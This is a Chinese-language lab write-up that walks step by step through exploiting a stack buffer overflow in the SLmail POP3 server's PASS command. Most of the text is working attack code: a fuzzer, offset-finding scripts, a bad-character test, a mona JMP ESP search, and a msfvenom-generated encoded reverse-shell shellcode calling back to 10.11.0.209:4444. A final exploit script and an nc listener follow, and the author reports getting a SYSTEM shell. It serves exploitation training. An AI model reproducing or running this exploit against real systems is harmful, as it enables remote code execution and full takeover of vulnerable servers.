Windows缓冲区溢出理解及实验
以SLmail为例 (一个邮件服务器软件)
工具 Immunity Debugger
先将Debugger Attach上SLmail的主进程
在点那个
让进程解除冰冻状态,转为running
这个时候转到Kali,使用Buffer溢出脚本检测溢出所需的字节,脚本源码如下
#!/usr/bin/python#!/usr/bin/python
import sys
import socket
target=sys.argv[1]
buffer=[“A”]
counter=100
while len(buffer) <= 30:
buffer.append(“A”*counter)
counter=counter+200
for string in buffer:
print “Fuzzing PASS with %s byte” % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,110))
s.recv(1024)
s.send(‘USER test
‘)
s.recv(1024)
s.send(‘PASS ‘ + string + ‘
‘)
s.send(‘QUIT
‘)
s.close()
使用该脚本并加上目标参数
观察,等到Debugger右边EIP指针为41414141(大写A的ASCII编号)时代表溢出成功
记下python脚本窗口处此时的字节数,暂记为2900 bytes
重新启动POP3服务,并重新Attach
使用msf自带工具生成一串buffer
locate 到 pattern_creat.rb 并在脚本地址后面加上需要的字节长度,生成脚本,此次试验为2900 bytes
看到这时候不难理解,这是需要知道ESP指针指向的是多少个字节,方便后期进行跳转
编写针对性的溢出脚本
源码如下
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = ‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds’
try:
print “
Sending evil buffer…”
s.connect((‘10.11.12.13’,110))
data = s.recv(1024)
s.send(‘USER username’ +’
‘)
data = s.recv(1024)
s.send(‘PASS ‘ + buffer + ‘
‘)
print “
Done!.”
except:
print “Could not connect to POP3!”
此时执行此脚本,再观察Debugger右侧窗口,观察EIP指针所指向的字符串
可以看到字符串为 39694438
此时利用pattern_create相对的工具pattern_offset查找这串字节相对的位置
可知是位于第2606个字节之后的字节就是EIP所指向的!
这时修改脚本
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = ‘A’*2606 + ‘B’*4 +’C’*16
try:
print “
Sending evil buffer…”
s.connect((‘10.11.12.13’,110))
data = s.recv(1024)
s.send(‘USER username’ +’
‘)
data = s.recv(1024)
s.send(‘PASS ‘ + buffer + ‘
‘)
print “
Done!.”
except:
print “Could not connect to POP3!”
观察可知,前2606个A是没啥用的,而这四个B就是EIP所指向的内容,而后16个C为补全2900个字节所设置的
执行脚本
观察到如下结果,可知EIP的确被指向到了2606bytes之后的位置,因为BBBB的ASCII码为42424242
我们再观察ESP的位置在哪里
可以观察到ESP指向的位置在0x0169A128,恰巧也被CCCC给填满了
一般来说一个payload的字节数在315-400之间,所以只要将0169A128开始的内存地址溢出到我们的payload就可以了
所以我们开始使用msf生成payload,但是要知道,这是在一个程序内存栈中进行decode,肯定会有一些字节被这个程序错误理解
所以我们需要寻找一些坏字节 也就是Bad Characters
修改脚本如下
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”
“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”
“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”
“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”
“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”
“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”
“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”
“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”
“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”
“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”
“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”
“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”
“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”
“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”
“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”
“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff” )
#buffer = ‘A’*2606 + ‘B’*4 +’C’*16
buffer = ‘A’*2606 + ‘B’*4 + badchars
try:
print “
Sending evil buffer…”
s.connect((‘10.11.12.13’,110))
data = s.recv(1024)
s.send(‘USER username’ +’
‘)
data = s.recv(1024)
s.send(‘PASS ‘ + buffer + ‘
‘)
print “
Done!.”
except:
print “Could not connect to POP3!”
再次运行该脚本并且dump到ESP位置的内存
可以看到,明显有几个字节被错误编译了,到第10个字节应该是10却变成了29
所以我们应该在脚本中去掉/x0a,并再次运行
仔细仔细再仔细地看,你会发现少了0D这个字节,说明/0d这个字节也是坏的,从脚本中去除
同理再次实验,你会发现一切都是正常的,没有坏字节了
所以,我们知道对于SLmail来说,坏字节有\x00,\x0a,\x0d
知道了坏字节有哪些,我们就可以生成shellcode啦!
但但是,我们还得想办法让EIP重定向到我们想要的内存地址!
这时候,我脑子里第一时间想到的是直接把EIP的地址改成ESP的地址
直接让执行流执行ESP所定位到的那一串代码不就行了嘛?
但是实际上在溢出过程中ESP所指向的地址并不会保持不变,
因为绝大多数程序都是多进程的,ESP的指向并不是按照顺序的单一的
他会指向奇奇怪怪的地方,所以这个方法不可行!
那咋办嘞?
我们知道,在一个程序运行的时候,程序本身首先会被写入到内存中,
顺带着它需要的各种DLL以及Drive和Modules,
所以我们可以寻找含有JMP ESP这个指令的各种模块并利用他们
为了寻找合乎条件的DLL以及模块,我们需要用到第三方模块mona
在Debugger的下方命令行输入
!mona modules
就可以看到所有loaded的modules
这时候就可以寻找符合条件的modules了
符合条件的modules需要符合3个条件
1.本身的base内存地址不包含上面提到的坏字节
2.没有被前四个反缓冲区溢出机制保护
这里只有一个DLL满足条件
按下工具条上的E来查看所有可被执行的dll
找到对应的DLL并双击
到主界面search相应的操作
但奇怪的是无论是search command和sequence commands都没法找到想要找的jmp esp字节
这个是很不科学的小概率事件,讲道理一个有用的DLL肯定会包含一两个这个命令
仔细想过后并且查看了这个DLL的详细信息(工具条按M按钮)
你会发现只有.text区块是被表明了Excutable的,所以可能mona在刚刚的查找中只查找了这个区块
没有查找其他几个区块,这时候我们可以直接让mona去查找内存,但是得知道相应的命令在内存中是怎么表示的
这时候就需要msf的nasm_shell工具了
这个时候我们知道jmp esp这个操作会在内存中被表示为 FFE4
然后我们直接使用mona查找
!mona find -s “\xff\xe4” -m slmfc.dll
我们发现results里第一个地址不包含坏字节并且是可用的
我们就使用第一个!
跳转到对应的内存地址并核对,果然发现有我们梦寐以求的JMP ESP
现在开始修改溢出脚本!
但但但是,在溢出脚本执行之后,邮件服务肯定会瘫痪,所以为了我们演示需要,需要做一个断点
选中这一行,按F2并点确定 按F8继续执行
终于可以开始写脚本啦
首先使用msf去生成一个shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.209 LPORT=4444 -f c -a x86 –platform windows -b “\x00\x0a\x0d” -e x86/shikata_ga_nai
生成成功 (一定要注意长度!)
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = (
“\xda\xcb\xba\x71\xe5\xde\xcc\xd9\x74\x24\xf4\x58\x29\xc9\xb1”
“\x52\x31\x50\x17\x03\x50\x17\x83\xb1\xe1\x3c\x39\xcd\x02\x42”
“\xc2\x2d\xd3\x23\x4a\xc8\xe2\x63\x28\x99\x55\x54\x3a\xcf\x59”
“\x1f\x6e\xfb\xea\x6d\xa7\x0c\x5a\xdb\x91\x23\x5b\x70\xe1\x22”
“\xdf\x8b\x36\x84\xde\x43\x4b\xc5\x27\xb9\xa6\x97\xf0\xb5\x15”
“\x07\x74\x83\xa5\xac\xc6\x05\xae\x51\x9e\x24\x9f\xc4\x94\x7e”
“\x3f\xe7\x79\x0b\x76\xff\x9e\x36\xc0\x74\x54\xcc\xd3\x5c\xa4”
“\x2d\x7f\xa1\x08\xdc\x81\xe6\xaf\x3f\xf4\x1e\xcc\xc2\x0f\xe5”
“\xae\x18\x85\xfd\x09\xea\x3d\xd9\xa8\x3f\xdb\xaa\xa7\xf4\xaf”
“\xf4\xab\x0b\x63\x8f\xd0\x80\x82\x5f\x51\xd2\xa0\x7b\x39\x80”
“\xc9\xda\xe7\x67\xf5\x3c\x48\xd7\x53\x37\x65\x0c\xee\x1a\xe2”
“\xe1\xc3\xa4\xf2\x6d\x53\xd7\xc0\x32\xcf\x7f\x69\xba\xc9\x78”
“\x8e\x91\xae\x16\x71\x1a\xcf\x3f\xb6\x4e\x9f\x57\x1f\xef\x74”
“\xa7\xa0\x3a\xda\xf7\x0e\x95\x9b\xa7\xee\x45\x74\xad\xe0\xba”
“\x64\xce\x2a\xd3\x0f\x35\xbd\xd6\xc4\x35\xec\x8f\xd8\x35\x1f”
“\x0c\x54\xd3\x75\xbc\x30\x4c\xe2\x25\x19\x06\x93\xaa\xb7\x63”
“\x93\x21\x34\x94\x5a\xc2\x31\x86\x0b\x22\x0c\xf4\x9a\x3d\xba”
“\x90\x41\xaf\x21\x60\x0f\xcc\xfd\x37\x58\x22\xf4\xdd\x74\x1d”
“\xae\xc3\x84\xfb\x89\x47\x53\x38\x17\x46\x16\x04\x33\x58\xee”
“\x85\x7f\x0c\xbe\xd3\x29\xfa\x78\x8a\x9b\x54\xd3\x61\x72\x30”
“\xa2\x49\x45\x46\xab\x87\x33\xa6\x1a\x7e\x02\xd9\x93\x16\x82”
“\xa2\xc9\x86\x6d\x79\x4a\xb6\x27\x23\xfb\x5f\xee\xb6\xb9\x3d”
“\x11\x6d\xfd\x3b\x92\x87\x7e\xb8\x8a\xe2\x7b\x84\x0c\x1f\xf6”
“\x95\xf8\x1f\xa5\x96\x28”)
buffer = ‘A’*2606 + “\x8f\x35\x4a\x5f” + “\x90”*16 + shellcode + “C”*(3500-2606-4-351-16)
try:
print “
Sending evil buffer…”
s.connect((‘10.11.12.13’,110))
data = s.recv(1024)
s.send(‘USER username’ +’
‘)
data = s.recv(1024)
s.send(‘PASS ‘ + buffer + ‘
‘)
print “
Done!.”
except:
print “Could not connect to POP3!”
buffer的A*2606是为了达到EIP点,使程序下一步操作跳转到slmc.dll代码中的一个jmp esp
这样在esp地址下的我们的shellcode便可得到执行
那16个\x90是为了防止shellcode程序的开头一部分被编译器认为是垃圾不去处理,总之就是为了告诉编译器我后面的是程序!
写好脚本,在kali攻击机的4444端口开启监听
nc -lvp 4444
执行脚本!
shell get √√√
查看下权限
是最高系统权限,渗透完成